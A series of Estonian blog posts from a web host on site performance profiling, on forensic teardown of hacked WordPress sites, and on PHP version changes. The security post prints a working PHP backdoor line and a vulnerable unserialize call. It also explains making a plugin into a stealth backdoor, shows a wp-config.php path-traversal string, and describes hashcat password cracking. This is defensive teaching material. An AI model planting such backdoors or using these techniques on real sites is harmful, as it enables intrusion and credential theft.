Miks mu veeb aeglane on? Vaata BlackFire abil järgi!

Enamus “server on aeglane” hädadest osutub lähemal uurimisel veebirakenduse koodi probleemideks – suur hulk andmebaasipäringuid, välise teenuse järel ootamine, ebaefektiivne tõlkelahendus vms.

Kuidas aga see kitsaskoht üles leida?

Esimene samm: väline monitooring

Minul on kombeks kõiki jõudlusprobleeme asuda lahendama kõige lihtsamast veebilehe monitooringust: pingdom.com teeb iga minut veebipäringu, joonistab vastamiseks kulunud ajast graafiku ning saadab e-postile teavituse, kui saab vea või vastus liiga kaua aega võtab*.

Kuvades lehtede või toodete lisandumisel kuude jooksul aeglasemaks muutuvat rakendust, võib tulemus olla näiteks selline:

Suur hulk probleeme on aga “jalutavad” – ehk enamiku ajast töötab veeb kiiresti, mingite sündmuste koosmõjul läheb aga aeglaseks:

Teine samm: mis toimub koodis?

Veebirakendustel on probleemide leidmiseks sageli omad lisad või pluginad, nt WordPressi puhul aitab Query Monitor kiiresti üles leida probleemsed andmebaasipäringud.

Visuaalsema pildi toimuvast annab aga BlackFire, mille PHP-laienduse saab Zone Virtuaalserveri puhul hõlpsalt sisse lülitada ja oma BlackFire kontoga siduda, kohaks Veebiserver » Seaded » Muuda » PHP laiendused:

Võrreldes rakenduste pidevaks monitooringuks mõeldud teenustega (nt NewRelic, mille saab meil muideks samast kohast aktiveerida) on BlackFire probleemide tuvastamise rollis oluliselt mõistlikuma hinnastusega – 19,90€ eest kuus saab endale “profileerija” konto, mida arendaja saab vabalt kasutada kõigi oma töös olevate (või ootamatult sisse sadavate) projektide puhul.

Kõige lihtsam viis profileerimiseks on Chrome laiendus – kui serveri poolel seadistus tehtud, lähed huvipakkuvale (alam)lehele ja vajutad nuppu. BlackFire kogub serveri poolel inffi ja saadab selle oma teenusesse, kus saad tulemust soovi korral teiste asjaosalistega jagada, näiteks nii.

Kuidas aga saadud tulemust lahti mõtestada? Võtame (anonüümselt) ette mõned reaalse elu juhtumid ja vaatame, kuidas probleemi otsimine käib. Alustuseks üks veeb, mis võiks vabalt olla Pingdomi juures mainitud “jalutava probleemi” graafikul kuvatu.

Probleem 1: veeb ootab välise päringu taga

Esimese asjana vaatan ma ülemist rida. Sedapuhku torkab kohe silma pea 3 sekundit, mis kulunud http-päringutele mingite väliste süsteemide pihta. Probleeme tekitav funktsioon on parempoolsel graafil kenasti punane ja sellele klikkides kuvatakse ka lisa-infot – kes teda kutsus, mida funktsioon tegi ja kelle poole edasi pöördus.

Sedapuhku kulub igal lehekuvamisel aega välise CRM-teenuse peale, kust kahel korral http-päringuga mingit infot laetakse. On seda infot ikka hädasti vaja? Miks tehakse kaks päringut? Miks see teenus aeglane on? Kas oleks võimalik vastust puhverdada? Kas selle päringu võiks teha kasutaja brauser pärast ülejäänud lehesisu laadimist?

3-sekundiline lehelaadimine on aga vaid väike osa probleemist – kui seda teeb server, kuhu külastajaid satub rohkem tulema (õnnestunud kampaania?), saab serveris lubatud PHP-protsesside arv varsti täis ning järgmised päringud peavad ootama eelmiste lõppemist.

Tehes käsurealt top avaneb siis selline pilt:

Virtuaalserveris on kasutajale lubatud kuni 15 PHP protsessi, Nutika Privaatserveri puhul võiks neid lubada niipalju kui klient soovib… aga (a) kui neid on rohkem kui protsessoril tuumasid ei lähe asi kuidagi kiiremaks (b) probleemi juurpõhjust ressurssidega loopimise meetodil ikkagi ei lahenda.

Sellised PHP käivitamise taga ootavad päringud näevad muideks BlackFire’is välja täiesti normaalsete sekundiliste vastustena – sest kuniks veebiserver (Apache) ootab vaba PHPd, ei ole ju ka mingit aega mõõta…

Ja kui PHPs tehtava päringu puhul on jäänud mõistliku pikkusega timeout seadistamata ning mõne lehe kuvamine hoiab PHP protsessi kinni 30 sekundit … siis pole kampaaniat vajagi. Probleemi avastamise teeb raskemaks see, kui aegavõtva päringu põhjustab suvaline alamleht (mida otsimootor parasjagu indekseerida proovib).

See on täpselt see probleem, mida tähistab üleval Pingdomi graafikul kell 14-15 algav küür. “Meie veebil” polnud häda midagi, aga üks teine veebiserver (või selle netiühendus) käis käntsu…

Probleem 2: meeletult SQL-päringuid

Tuhatkond andmebaasi-päringut pole küll mingi rekord – mulle meenub esileht, mille kuvamiseks tehti 12000 – aga väikseks rehkenduseks sobib hästi:

Oletame, et üks kiire andmebaasipäring võtab 2 millisekundit. Kui neid teha 1350 tükki, siis kulub sellega sahmerdamiseks … ligemale 3 sekundit. Lihtne soovitus – pea meeles,  et tuhandega korrutades saab millisekundist sekund.

Ülaloleval pildil on Magento otsingulehe kuvamine ning kuna see pole puhverdatud, siis on suur hulk päringuid paratamatu. Aga kui sa paned kampaania landing‘uks otsingulehe, siis võib see lisakoormus osutuda probleemseks.

Päris ilma cache’ta Magento 1.x kategoorialehe puhul on pilt selline, jõud kulub hulgast XMLidest konfiguratsiooni kokku ehitamisele:

Probleem 3: laeme kogu tabeli mällu ja siis sõõlame seda PHPs

Järgmine probleem on ilmselt esimese Pingdomi graafiku pideva kasvu taga – andmebaasi vastu tehakse küll vähe päringuid, aga küsitakse terve tabeli sisu ning siis asutakse seda PHPs läbi lappama. Näiteks selleks, et kuvada kategoorialehel 20tuh tootest järgmised 10:

Ole inime, ära tapa PHPd tööga, seda saab teha ka elektriga … st SQLiga. Kategooria lappamiseks sobiks nt LIMIT 10 OFFSET 1200.

Probleem 4: imetabased (ent indekseerimata) metaväljad ja andmebaas kui prügimägi

WordPressi puhul on tüüpilisemaks probleemiks pluginad, mis hoiavad oma andmeid post_meta tabelis ning teevad selle pihta imetabaseid päringuid. TOP-3 võiks olla selline:

  • Advanced Custom Fields – mugav viis lisada postitusele lisainfot või kindla vormindusega sisublokke. Aga selle peale ei tasu ehitada suuremat andmebaasilahendust, mis teeb otsinguid meta-väljade sisu kasutades. Mis ei ole vaikimis teps mitte indekseeritud (indeksi lisamine parandab olukorda mõnevõrra, aga mistahes andmetüüpide tekstiväljas hoidmine ei ole parim strateegia muretuks pensionipõlveks)
  • WooCommerce – aga mis oleks, kui me paneks kõik toodete, tellimuste jne kohta käiva informatsiooni nendesse metaväljadesse? Yep, that’s WooCommerce. Jube mõnus tööriist sajakonna tootega poe jaoks, aga pane ennast korraks andmebaasi mootori olukorda – kui kogu su 10tuh tootega pood asub laoruumis mustades prügikottides. “Tahaks M suurust punaseid särke mis ei maksa rohkem kui 12€” – “Juba jooksen!” – “[piinlikult pikk paus, kuulda on ähkimist, kohmitsemist ja kilekottide rebenemist]”.
  • WPML – minu ammune lemmik mitmekeelse veebi tegemiseks, hea mugav lehti ja postitusi tõlkida. Aga WordPressil on olemas väga normaalne .po/.mo failidega tõlkimise tugi, mille asendamiseks pakub WPML mugavusvõimalust need andmebaasi migreerida. Sa püha püss, kus kiirus kukub! Ja kui nüüd paneks juurde WooCommerce metaväljades oleva sisu tõlkimise … (me soovitame “lihtsaks rauaga tapmise lahenduseks” Nutikat Privaatserverit, sest siis püsib kogu see tarbetult keeruline andmebaasimudru kenasti mälus :-).

Mul ei ole hetkel head näite-pilti, lisan kui leian. Või kui sina saadad 🙂

Probleem 5 – visuaalsed jms lehe-ehitajad

BlackFire’s on lisaks funktsiooni-graafile olemas ka väga ilus ajajoon, mis annab aja kulumisest ning funktsioonide seostest isegi parema pildi:

See on üks veidi keerulisem alamleht, kus kuvati 8 … ütleme, et “toodet” ning iga ühe kohta nimistut sellega seotud postitustest. Nimistu kuvamine oli tehtud pluginaga, mis lubas lisada lehele PHP-koodi sisaldava shortcode’i ning koodis oli lihtne get_posts() ja foreach tsükkel … mida jooksutati eval() abil. Tuleb välja, et selline tsükkel on vääääääga aeglane, probleemi lahendab lehe-templiit … või siis oma shortcode, mis võtab parameetriks toote ja siis kuvab mida-vaja.

Teine esile toodud aega kulutav element on mitme-tasemelise menüü ehitamine – WordPressi puhul on ka menüü sisuliselt hulk eritüübilisi postitusi ja neist hierarhia kokkuehitamine misiganes põhjusel aeglane. Kuna menüü sisu eriti sageli ei muutu, siis ma prooviks selle ära cacheda.

* * *

Kui jutt huvi tekitas, siis proovi ise järgi – Zone Virtuaalserveri peal katsetades ei nõua isegi paigaldamine mingeid eriteadmisi. Mina alustasin BlackFire õppimist tasuta Hack plan’iga, siis proovisin Premiumi trialit, aga jäin lõpuks Profiler’i peale pidama.

Send moare freak bugs 🙂

Pöördlammutamine ehk pihtas-põhjas, nett on hukas

“Midagi võiks ära lammutada,” selgitas Birgy Lorenz, kui mult Küberolümpia ehk European Cyber Security Challenge 2017 eelvooru seminari jaoks ettekannet küsis.

Kuna täiesti juhuslikult oli minul samal ajal plaanis Muhu Väina regatil purjekat ja/või Riia linna lammutada, siis kasutasin võimalust ning vormistasin oma demod 13,5-minutiliseks videoks.

Sihtgrupist lähtuvalt on see pöördlammutamine “veidike” tehnilisevõitu, aga kindlasti õpetlik vaatamine kõigile veebirakendustega (eriti WordPressiga) tegelejatele. Pikem taustaselgitus allpool, sobib lugeda nii enne kui ka pärast video vaatamist.

Pöördlammutamine?

Lammutamise all mõtles Birgy seda, et võiks võtta ette mõne turvaprobleemidega süsteemi ja näidata, kuidas ühest väiksest august sisse pääsenuna õnnestub ka kõik muu üle võtta. Kuna ise endale ründeks probleemset veebi ette valmistades tekib alati selline… lati alt läbi mineku tunne, otsustasin sedapuhku veidi keerulisema tee kasuks. Võtsin ette 5 viimasel ajal maha häkitud WordPressi, mille puhastamiseks kliendid Zone klienditoe tehnikute abi on kasutanud ja seadsin endale järgmised ülesanded:

  • tuvastada kogu veebis olev pahavara (sellest ka “pöördlammutamine”)
  • lisada leitu ühele tühjale ja anonüümsele WordPressile
  • testida levinud pahavara-skännereid ja määrata nende efektiivsus
  • selgitada välja tõenäoline sissehäkkimise viis
  • rääkida tulemus lahti videos, mis on lühem kui 10 minutit

Viimane punkt läks veidi lappama, sest õpetlikke näiteid kogunes kahjuks rohkem kui 10 minuti sisse mahtus.

Eriti räpane WordPress

Eksperimendi üheks ajendiks oli ka maikuus FB WordPress Eesti grupis toimunud arutelu WP turvapluginate ja skannerite efektiivsuse teemal. Kuna mu eelmise aasta pahavara-näidiste komplekti olid erinevad teenused hakanud üsna kergesti ära tundma, kasutasin vabu hetki jõudmaks puhastamist vajavatele veebidele jaole enne tehnikute tööleasumist, kogusin tõendusmaterjali rünnete kohta ning tegin läbi lihtsustatud versiooni meie puhastus-protsessist: vahetasin välja WP ja kõik pluginad-teemad, seejärel lasin versioonihaldusel kuvada erinevusi ehk muudetud või lisatud faile.

Huvitavad näited – nakatatud ja pahavaralised pluginad, WP kataloogidesse ja koodi sokutatud tagauksed, kataloogitäied SEO-spämmi jms – tõstsin üle puhtasse WordPressi, pannes kõik probleemid kenasti tabelisse kirja.

Kas ma seda WordPress’i jagan kah? Kui on huvitav kasutusplaan ja usaldusväärne küsija, siis kaalun plusse ja miinuseid.

Tööriistad

Käsitsi oleks seda kõike nüri teha – eriti mitme veebi puhul. Minu tavapärane tööriistakohver näeb välja selline:

WPScan – käsurealt käivitatav utiliit, mis kasutab wpvulndb.com andmebaasi ja proovib leida WP enda ja pluginate-teemade teadaolevaid haavatavusi. Kohati annab see aimu võimalikust ründevektorist – nt mõni plugin, mis lubab path traversal’it ehk kuvada failide sisu, sh wp-config.php, kus on kirjas andmebaasi kasutajatunnused. Paraku ei saa WPScan alati täpselt pihta plugina versioonile, tekitades ohtralt lärmi valepositiivsete leidude näol. Ja samas oleme me kohanud saite pluginatega, mis ei ole kirjas üheski andmebaasis ja veelgi enam – haavatav versioon on endiselt WP plugina-saidist allalaetav.

Minu enda ctimer.php (mille leiab koos selgitustega blogipostist CSI küber – kas keegi on mu serveris faile muutnud?) – kuna ctime aeg läheb kirja kerneli õigustes, siis võib seda usaldada, erinevalt tavaliselt kuvatavast ja igaühe poolt muudetavast mtime ajast. Sortides faile ctime järgi hakkab sageli silma värskeim kahtlasel moel muudetud fail, mille asukoht võib reeta probleemse plugina või hoopis selle, et sissetung on toimunud adminnkasutaja parooli äraarvamise ja WP enda teema/pluginaeditori kaasabil. Või siis vähemalt on teada, millisest ajajärgust tuleks logisid uurima hakata.

Logid, grep ja less – sellest, kuidas logisid uurida, tuleks teha täiesti eraldi postitus. Arvestades nende suurust peaks käsurealt greppimine ja tulemuses ringi navigeerimine olema igal veebimeistril samamoodi käpas nagu HTML, CSS, Gulp, Bower jne. Sedapuhku tekkis paari saidi puhul justnimelt logisid vaadates mõte, et probleemiks on nõrk parool – sest teemafaile oli muudetud kohe pärast loginit.

hashcat – jõhker overkill kontrollimaks paroolide tugevust räside brute force’imise meetodil. Aga mingi tööriistaga pidi seda tegema ja ka maailma väikseim sõnastik, kus sisalduvad ainult kasutajanimed, saidinimi ja paar levinumat nõrka parooli on sõnastik. Minul oli lisaks reegel, mis proovis panna kasutajanime lõppu numbreid 1-9 ja lähemaid aastaarve.

Minu enda WP-CLI-põhine shellscript clinup – võimaldab ühe käsuga teha liigutusi nagu WP, pluginate ja teemade vahetamine sama (või värskeima) versiooni koodi vastu tehes iga sammu järel git commit, PHP otsimine uploads-kaustast, .htaccess abil elementaarsete piirangute kehtestamine ja palju muud huvitavat.

Õpetlikud näited

WPscan abil leiab pahalaste poolt ülevõetud veebidest sageli uuendamata ja teadaoleva turvaaugu pluginaid koos selle ärakasutamise õpetusega. Heal juhul selgub sellest kohe ka ülevõtmise meetod ehk lappimist vajav probleem.

Tavapärane ründaja töötab mõistagi täpselt vastupidi, ehk skannib kõiki ettesattuvaid veebe proovides leida nõrkusi, mille jaoks on tema tööriistakohvrikeses rünne juba olemas.

Kataloogihüpe

Enamasti pakub ründajatele huvi võimalus faile üles laadida, aga oluliselt levinum turvaprobleem on path traversal ehk kataloogihüpe – seda kasutatakse ära nägemaks wp-config.php’st andmebaasi kasutajatunnuseid.

Videos demongi ühte sellist probleemi kasutades Font plugina versiooni 7.5, mis ühes nakatunud veebis kasutusel oli:

Tähelepanelik vaataja märkab siinkohal kindlasti, et selle kirjelduses on mainitud ka “authenticated” ehk siis probleemi ärakasutamine eeldab sisseloginud kasutajat. See ei pea aga üldsegi tähendama admin-kasutajat. Kuna tolles veebis oli paigaldatud ka WooCommerce, siis oli täiesti võimalik regada endale kliendi-konto ning olles sellega sisse loginud, teha vastav pöördumine, sest ei kontrollita admin-õigust, vaid lihtsalt sisselogimist:

Olgu öeldud, et üks kahtlasevõitu epostiga kasutaja oli seal veebis ka olemas. Paraku märkasin seda alles pärast salvestamist, seega jõuan video lõpus veidi teistsugusele ja oluliselt lihtsamat ligipääsu võimaldavale järeldusele.

Aga üks näide käib selle plugina juurde veel: kui teha koodis vaevumärgatav muutus ehk eemaldada ülaloleval ekraanilasul valitud nopriv_, siis kaob vajadus sisselogimise järele. Kui muuta lisaks plugina versioon värskeimaks olemasolevaks, siis on mul veebis ideaalne tagauks: see ei näi põgusal vaatlemisel kahtlane ning veebimeister võib WordPress’is pluginaid uuendada ja andmebaasi-paroole vahetada palju tahab.

Tõsi – on üks väike nipp, mis sellise probleemi vastu aitab: kui kasutada uuendamiseks WP-CLI käsurea-utiliiti, siis saab anda kaasa parameetri --force, mis tagab ka olemasolevate pluginate re-installi (juhul, kui need kasutavad standardset uuendusprotsessi st ei ole käsitsi kusagilt paigaldatud). Ja kui ükshaaval ei viitsi uuendada, siis võib küsida nimistu ja lasta tsükliga:

wp plugin install $(wp plugin list --field=name) --force

Ja seejärel võib vaadata, et mis kataloogid jäid viimase 15min jooksul vahetamata ning need käsitsi üle käia:

find wp-content/plugins -maxdepth 1 -type d -mmin +15 -exec basename {} \;

Videos teen ma sama oma veidi keerukama clinup skriptiga, mis oskab vahetada hetkel kasutusel oleva versiooni vastu ja ühtlasi iga sammu vahel git commit teha, kuvades mugavalt kõik muutused:

Teepaljang

Tunnistan, et olen ka ise full path disclosure ehk teepaljangule liiga vähe tähelepanu pööranud. Kui veebis on äraarvatavas asukohas viga andev PHP-fail, siis kuvab veateade vaikimisi välja faili asukoha kettal:

Kuna mul esimesel katsel tavapärane kataloogipuus ülespoole liikumine ehk ../../../wp-config.php tulemust ei andnud – ilmselt tegin miski kirjavea – leidsin äraarvatavast asukohast ehk teemakataloogist hõlpsalt faili, mis reetis veebiserveri juurkataloogi.

Hea oleks vigade väljastamine juba php.ini’s ära keelata – meie puhul sobib selleks phpini/global/php.ini fail (ülejäänud on automaatselt genereeritud ja neid kasutaja muuta ei saa):

[PHP]

display_errors = Off

… aga siis tuleks meeles pidada, et nii on tehtud ja edaspidi vigu ikka logidest otsida ja mitte helistada klienditoele teatega “mu veeb kuvab valget lehte”.

Ääremärkus – juba mõnda aega leiavad PHP 7 kasutajad logs kataloogist ka viimaste päevade PHP-vealogid ning sümbollingi käsiloleva päeva logile.

Jagatud serveri needus: jagatud andmebaasiserver

Ja mis nende andmebaasi-paroolidega pihta hakata? Jagatud serveri puhul on jagatud ka andmebaasiserver ja PHPmyadmin vms lihtne haldusvahend… ning sealtkaudu saab endale adminn-kasutaja lisada või mõne olemasoleva parooliräsi korraks ära muuta. Zupsti sisse-välja… ja tehtud. Valus hakkab pärastpoole.

Selle vastu väga head lahendust ei ole. Võiks ju keelata PHPmyadmin’i kasutamise, aga teisest samas serveris olevast ülevõetud veebist saab ikka ligi, sest IP millega ligipääsu saab piirata on sama. Eriti paranoilised isikud – nagu mina – võivad muidugi salvestada paroolid Apache direktiivide abil keskkonnamuutujatesse ja siis neid kasutada:

Ja wp-config.php-s:

define( 'DB_NAME', $_ENV['DB_NAME'] );
define( 'DB_USER', $_ENV['DB_USER'] );
define( 'DB_PASSWORD', $_ENV['DB_PASSWORD'] );
define( 'DB_HOST', $_ENV['DB_HOST'] );

(just-in-case kõik mu muud nipid veebi kaitsmiseks alt veavad)

Tavaline ja ebatavaline tagauks

Harilikult leiab veebist tagauksed ja pahavara koodi vaadates üsna kergesti üles – sest sealt paistavad eval(), system(), base64_decode() vms funktsioonide kõrvad:

Sedapuhku hakkas mulle aga silma ka haruldasem elukas – nimelt oli ühes failis selline rida:

echo preg_filter('|.*|e', $_REQUEST['oneman'], '');

PHP on selline tore keel, kus regex’is on olemas modifikaator e ehk PREG_REPLACE_EVAL , mis on varmalt valmis kõike leitut eval()’ima ehk kasutaja sisestatut käsuna täitma. See on eemaldatud PHP versioonis 7 – aga aastal 2012 loodud veebiserveris versiooni vahetamine on nõrkadele…

Misiganes põhjusel on parimad nimistud innovatiivsetest tagauksestatud koodinäidistest hiinakeelsetes veebides, ei hakka siinkohal linkima, aga googeldades “php callback backdoor”, siis peaks üht-teist välja ilmuma (saitide külastamine omal vastutusel).

Lisaks hakkas mulle FlickrPress plugina (tänaseks kataloogist eemaldatud) koodis täiesti juhuslikult silma rida:

 $something = unserialize(@base64_decode($_REQUEST[‘something’]));

See võimaldab PHP Object Injection ehk PHP objektisüsti haavatavuse ärakasutamist. Mugava proof-of-concept koodi – sest objektisüst eeldab ärakasutamiseks sobiliku objekti olemasolu – leiab Plugin Vulnerabilities blogipostitusest. Proovime järgi:

Tähelepanelik vaatleja kindlasti märkab, et ma olen teinud täiesti suvalise alamlehe pihta GET-päringu andes pluginas oleva turva-augu aktiveerimiseks vajalikud parameetrid kaasa küpsisena. See plugin loeb parameetreid $_REQUEST globaalmuutujast – mis ei ole hea praktika – ning sinna jooksevad seadistusest (variables_order ja request_order) sõltuvalt kokku $_GET ja $_POST parameetrid… ning $_COOKIE.

Ääremärkus: ajaloolistel põhjustel on ka meil Zones vaikimisi variables_order väärtuseks ‘EGPCS’. Kui me selle tihedamaks keeraks… läheks kellelgi midagi katki. Ilmselt peaks lisama võimaluse seda seadistada. Seniks võib phpini/global/php.ini faili panna lisaks ülalviidatud vigade väljastamise keelule ka rea request_order = 'GP'

Kuivõrd video tegemise seisuga polnud seda pluginat kirjas levinud haavatavuse-baasides ega fixitud, siis võib seda ilmselt zero-day’ks nimetada.

Autor sai vastutustundlikult teavitatud, oli juba enne teadlik … ja võttis selle tulemusel plugina (“Viimati uuendatud: 8 aastat tagasi”) ametlikust kataloogist üldse maha.

Ehk kõik, kellel see plugin kasutusel, on edaspidi endiselt haavatavad ja neil puudub ka adekvaatne viis ohust teada saada. Äärmiselt sobilik näide illustreerimaks “uuendamine ei pruugi olla lahendus” väidet.

Ääremärkus – raporteerides FlickrPress’i saatsin kordusteate ka ühe teise plugina turvaprobleemi kohta, mille vastu suunatud ründe avastasin juba pool aastat tagasi. Ma puhtalt huvi pärast ootan, et kaua läheb fiksimisega.

Pahavara tuvastamise tõenäosus

Kui me juba müütideni jõudsime, siis lammutaks ära veel ühe – “veebiserverist on võimalik asjakohase tööriistaga leida üles pahavara sisaldavad failid ning need siis ära kustutada või puhastada”. Veidi muudetud väide on samas tõene: “On võimalik leida pahavara sisaldavaid faile, kui neid on piisavalt palju ja need vastavad levinud mustritele.”

Leitava pahavara protsent sõltub tööriista võimekusest ja häälestuse tundlikkusest. Mina võtsin ette Zone+ all pakutava Nimbusec’i, Revisium’i tasuta tööriista AI-bolit tavalises ja “paranoia”-reziimis ning WP pluginad Quttera ja GotMLS. Kontrolliks võtsin testi ka Nod32 ja DrWeb antiviirused, aga nende tulemus on allpool igasugust arvestust (ning ClamAV leidis veel 2x vähem).

Teades kõiki muudetud faile (52 olulist näidet) oli lihtne teha andmebaasi-rakendus, kuhu saan lugeda sisse tuvastuste raporti ning tulemused tabelina kuvada:

Valepositiivsete protsent on arvestatud leidude suhtes, sest nii tundus loogilisem. Kasutaja jaoks annab “leitud 10 reaalset ohtu ja 5 valepositiivset” põhjal rehkendatud 50% ilmselt rohkem infot, kui protsent kõigist WP all olevatest failidest.

Järjekordselt oleme rahul oma valitud Nimbusec’iga – tuvastus on piisavalt hea tagamaks toimimise suitsuandurina ehk andmaks märku veebi tabanud probleemist, samas ei tekita tavakasutajas liigselt paanikat valepositiivsetega.

Aga isegi kõige paranoilisem AI-bolit skooris vaid 90% probleemsetest failidest – ehk maha tuleks matta (ja raske kiviga katta) lootus, et mingi skänni abil saab veebi puhtaks. Ainus lahendus on kõik mis võimalik ära asendada. Ja ülejäänu käsitsi üle käia või minema visata.

Ja lõpuks – kuidas siis ikkagi sisse saadi?

Viimase kahe näidispakki lisatud veebi puhul tundus mulle kahtlane, et probleemiks oli mõni plugin, pigem oli tuldud sisse admin-kasutajana ja faile muutes endale laiem ligipääs rajatud.

Hüpoteesi kontrolliks otsustasin “Paha Panda” meetodit ehk nõrkade paroolide äramõistatamist kasutada. Võtsin ette hashcat’i ning tekitasin sõnastiku enamlevinud paroolidest, uuritavates saitides olnud kasutajanimedest ja lisasin reegli, mis proovib esimest tähte suureks teha ja lõppu numbrit lisada.

Tulemuseks – mu läpakas ei jõudnud veel ventilaatorit käima panna, kui hashcat juba räsidele vastavad paroolid välja sülitas:

Esimene neist on täpselt reaalse saidi kasutajanimi ja parooliräsi (sedapalju siis soovitusest, et admin kasutaja asemel mõne teise nime kasutamine turvalisust tõstab – kasutajanimede kokkulugemine pole tead-mis keeruline), aga teise puhul on parool ohvri isiku kaitseks ära muudetud.

Pihtas-põhjas, nett on hukas…

ps. kui lugesid alustuseks teksti läbi – tubli! – siis ära unusta lisaks ka videot vaadata 🙂

PHP 7.1 Apache moodulis – ja serverites vaikeversioonina

Kätte on jõudnud aeg teha korraline PHP vaikeversiooni uuendamine, sest 1. juunil 2017 saab täis 6 kuud PHP 7.1 reliisist. Muudatus puudutab peamiselt uusi tellitavaid Virtuaalservereid ja neid, kes on valinud PHP režiimiks Apache mooduli ehk SAPI (kogu meie serveripargi peale on neid alla 200) – aga ka neid, kes käsurealt, cron’is või skriptis kasutavad vaikeversiooni.

Kuna erinevused PHP 7.0 ja 7.1 vahel ei ole suured (vt Migrating from PHP 7.0.x to PHP 7.1.x) siis eeldame, et üleminek läheb veel sujuvamalt kui mullune 5.6 -> 7.0 vahetus.

Aga olgu siinkohal ära toodud ka kõik muutused – ning võimalused vajadusel vanemat versiooni pruukida.

Uutel Virtuaalserveritel vaikimisi PHP FastCGI 7.1

Iganenud versioonidele toe pakkumine on meie jaoks tõsine väljakutse – seega on oluline saada vähemalt uued kasutajad võimalikult värskele versioonile.

See võib olla probleemiks vaid väga eakate ent endiselt uute saitide tegemisel kasutusel olevate rakenduste nt Magento 1.9.x paigaldamisel – aga ka nende puhul soovitame kasutada saadaolevaid tööriistu ja kulutada veidi aega üleminekuks PHP 7 peale, sest viimase 5.x PHP versiooni ehk 5.6 tugi lõppes 19.01.2017 (kriitilised turvapaigad kuni 2018 lõpuni – vt Supported versions).

SAPI ehk Apache Module režiimis PHP

Vaikimisi on Virtuaalserveri (või selle alamdomeeni) seadetes kasutusel FastCGI režiim mis võimaldab kasutajatel ise versiooni valida – kui aga oled selle muutnud Apache Module’iks, vahetub selle versioon 1. juunil 7.1’ks.

Ühilduvusprobleemide ilmnemisel on võimalik minna sobiliku versiooni FastCGI peale – aga arvestada tuleks erinevate failiõigustega. Kõik Apache mooduli poolt lisatud pildid, cache jms on mõistagi loodud veebiserveri kasutaja õigustes ja neile ei pruugi kirjutamisõigustes ligi pääseda ei FastCGI režiimis kood ega kasutaja FTPga. Õiguste muutmist saab vajadusel adminnidelt küsida kirjutades info@zone.ee

Shellis vaikimis käivitatav PHP

Käsuga which php on näha, et käivitatakse /opt/zone/bin/php mis sümbollingib edasi vaikeversioonile, edaspidi on selleks php71-cli. Soovides mingil põhjusel käivitada varasemat versiooni saab seda teha nt /opt/zone/bin/php70-cli abil.

/usr/bin/env php kasutavad skriptid

Levinud viis käivitada skript kasutaja keskkonna-muutujate kontekstis on /usr/bin/env php – näiteks hakkab Composer pihta nii:

Sisuliselt ei tee see muud, kui käivitab esimese rajas (path’is) ettejuhtuva PHP… milleks edaspidi on 7.1. Composer on selle üle kindlasti rõõmus.

Aga sama meetodit kasutab ka … näiteks ametlikult ilma 7.1 toeta Magento 2.0.x käsurea-utiliit bin/magento, mille abil on realiseeritud muuhulgas cron-tööde jooksutamine… miska soovitaks soojalt kaaluda uuendamist Magento 2.1.x peale. Või olla muutusest teadlik, juhul kui peaks mingeid anomaaliaid ilmnema.

Äärmärkus, lisatud 02.06: ilmneb, et ka Magneto 2.1 ei toeta PHP 7.1 – küll aga on devdoc’is olnud vigane väide nagu toetaks. Tx Sander Vallaots selle probleemi otsa komistamast, vigadega maadelmast ja teavitamast. Lahenduseks on alltoodud “ln -s …”.

Kui aga hädasti on vaja vanemat versiooni püsikasutada – siis kuna rajas on esikohal kasutaja kodukataloogi ~/bin  (/data0x/virtxxxxx/bin) saab igaüks sinna tekitada endale sobiliku sümbollingi, näiteks versioonile 5.6:

ln -s /opt/zone/bin/php56-cli ~/bin/php

Kontrollimiseks võib korraks shellist välja-ja-sisse logida nign teha php -v veendumaks, et nüüd käivitud 7.0.15 (või uuem).

Aga see kohandus tasuks endale keemilise pliiatsiga otsaette kirjutada, sest muidu mõtleb tuleviku-mina ennast kringliks. Või siis meie klienditugi.

Cron-töödes käivitatav PHP

Seadistades veebiliidesest süsteemse cron’i saab kasutada muutujaid:

[[$PHP]] viitab jällegi serveri vaike-versioonile, aga vajadusel võib määrata endale sobiva, nt [[$PHP56]].

Paraku ei ole sellest abi, kui PHP käivitamine toimub läbi shelliskripti – minul on kombeks nii teha WordPressi uuendusi WP-CLI abil, aga ka Magento 1.9.x puhul (jälle see Magento!) on rangelt soovituslik viis käivitada mitte cron.php vaid cron.sh – mis siis käivitab 2 cron.php’d *.

Selles olukorras versiooni jõustamiseks saab abi samast sümbollingi nipist mis ülevalpool juba kirjeldatud – tõsi, tuleb tunnistada, et ~/bin ei olnud meil kuni eilseni cron’i puhul kasutatavas rajas, nüüd aga on (ja cron-tööd käivituvad nüüd ~/tmp all, tagamaks nende > väljundi sattumise kohta, kus kasutajal on kirjutamisõigus).

* “Aga mis juhtub siis, kui käivitada cron.php?” – “Siis, mu noor sõber, tõmmatakse shell_exec() abil käimacron.sh ja see käivitab 2 cron.php’d.”

LS17 – üks jube tudengiprojekt “väikse” tagauksega

Siin postituses kirjeldan eelkõige ainult omaenda tegevust, kuid suures plaanis oli see vaid tilk meres, iga teine võistkonna liige tegi oma süsteemide kaitsmisel vähemalt sama palju või rohkem.

Veebirakenduse kaitsmisest pole suurt kasu, kui näiteks võrk ei tööta või serverid ei käivitu. Pealegi oli see vaid üks osa tehnilisest süsteemist, aga lisaks tehnilisele käis kibe töö ka muus osas, mis käis juba üle meie peade. Juriidiline osa, meedia, koordineerimine jne.

See postitus on teine osa järjejutust, mis võtab kokku Andrise ja Peetri poolt Locked Shields 2017 küberõppusel kogetu.
Loe ka:

Ettevalmistus

Esialgu teadsime nendest rakendustest ainult nii palju, kui üldskeemi pealt oli näha. Osaliselt võis aimata, et millega tegu, osaliselt mitte nii väga, nii et vähemalt mina midagi väga ette planeerida ei osanud.

Tutvumispäevadel, nädal enne õppuse algust, pääsesime ligi juba kõikidele süsteemidele, va. üks puuduv veebirakendus, mille kohta oli teada ainult selle üldkirjeldus. Kuna see veebirakendus oli üks minu ülesannetest, siis jäi sellevõrra rohkem aega vaadata üle muid oma vastutusvaldkonna asju. Koos kolleeg Peetriga majandasime erinevaid veebirakendusi ning saime selleks vajalikku tuletoetust Linuxi adminnidelt.

Esialgu tundus kõik üsna keeruline, tegelesin e-posti serveriga, kuhu olid paigaldatud ka veebipõhised mailikliendid ning rakenduste paljususe tõttu paistis auke igalt poolt. Minu suurimaks lemmikuks oli näiliselt juhuslike “vigade” (muutuja nime muutev trükiviga siin, konfiguratsiooniviga seal jne.) tõttu tekkinud olukord, kus veebi kaudu ligipääsetavasse faili logiti kõike, sh. kõikide kasutajate paroole, mida normaaloludes kuidagi juhtuda ei tohiks.

